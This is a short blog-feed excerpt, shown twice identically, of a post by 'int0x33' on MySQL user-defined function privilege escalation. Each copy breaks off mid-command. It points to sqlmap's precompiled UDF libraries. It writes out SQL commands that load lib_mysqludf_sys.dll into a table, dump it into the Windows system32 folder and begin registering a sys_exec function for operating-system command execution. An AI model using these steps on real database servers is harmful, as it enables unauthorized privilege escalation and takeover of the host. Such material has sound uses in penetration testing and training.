int0x33

Nov 17

MySql User-Defined Function (UDF) Privilege Escalation (Windows & Linux)

We will get into making our own functions in later posts but for now, the UDF compiled shared objects from SQLMap are great. https://github.com/int0x33/sqlmap/tree/master/udf/mysqlWindows Escalationmysql> USE mysql; mysql> CREATE TABLE pwn(line blob); mysql> INSERT INTO pwn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll')); mysql> SELECT * FROM mysql.pwn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME ...

int0x33

Nov 17

MySql User-Defined Function (UDF) Privilege Escalation (Windows & Linux)

We will get into making our own functions in later posts but for now, the UDF compiled shared objects from SQLMap are great. https://github.com/int0x33/sqlmap/tree/master/udf/mysqlWindows Escalationmysql> USE mysql; mysql> CREATE TABLE pwn(line blob); mysql> INSERT INTO pwn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll')); mysql> SELECT * FROM mysql.pwn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME ...